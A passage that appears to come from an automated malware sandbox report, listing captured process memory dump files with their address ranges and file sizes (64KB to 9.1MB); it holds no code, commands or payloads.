                                                                                                                                                                                                                                                                      • memory/3412-3394-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        4.9MB

                                                                                                                                                                                                                                                                      • memory/3644-710-0x0000000010000000-0x000000001055A000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        5.4MB

                                                                                                                                                                                                                                                                      • memory/4172-295-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/4172-294-0x0000000002B70000-0x0000000002F73000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        4.0MB

                                                                                                                                                                                                                                                                      • memory/4172-481-0x0000000002B70000-0x0000000002F73000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        4.0MB

                                                                                                                                                                                                                                                                      • memory/4172-1039-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/4196-1549-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/4196-2590-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/4196-2046-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/4196-1555-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/4196-1559-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/4428-477-0x00000000003D0000-0x00000000008B8000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        4.9MB

                                                                                                                                                                                                                                                                      • memory/4428-478-0x00000000003D0000-0x00000000008B8000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        4.9MB

                                                                                                                                                                                                                                                                      • memory/4504-3393-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/4504-3399-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/4504-3380-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/5004-2575-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/5004-1558-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/5004-2045-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/5004-1554-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/5004-1546-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/5076-479-0x0000000006A20000-0x0000000006A30000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/5076-449-0x000000006F2C0000-0x000000006F610000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        3.3MB

                                                                                                                                                                                                                                                                      • memory/5076-315-0x0000000006A20000-0x0000000006A30000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/5076-470-0x0000000009E40000-0x0000000009EE5000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        660KB

                                                                                                                                                                                                                                                                      • memory/5076-451-0x000000007F550000-0x000000007F560000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/5076-314-0x00000000739D0000-0x00000000740BE000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        6.9MB

                                                                                                                                                                                                                                                                      • memory/5076-446-0x000000006FE70000-0x000000006FEBB000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        300KB

                                                                                                                                                                                                                                                                      • memory/5076-316-0x0000000006A20000-0x0000000006A30000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/5080-3388-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        4.9MB

                                                                                                                                                                                                                                                                      • memory/5112-916-0x0000000000400000-0x00000000004D8000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        864KB

                                                                                                                                                                                                                                                                      • memory/5112-853-0x0000000000400000-0x00000000004D8000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        864KB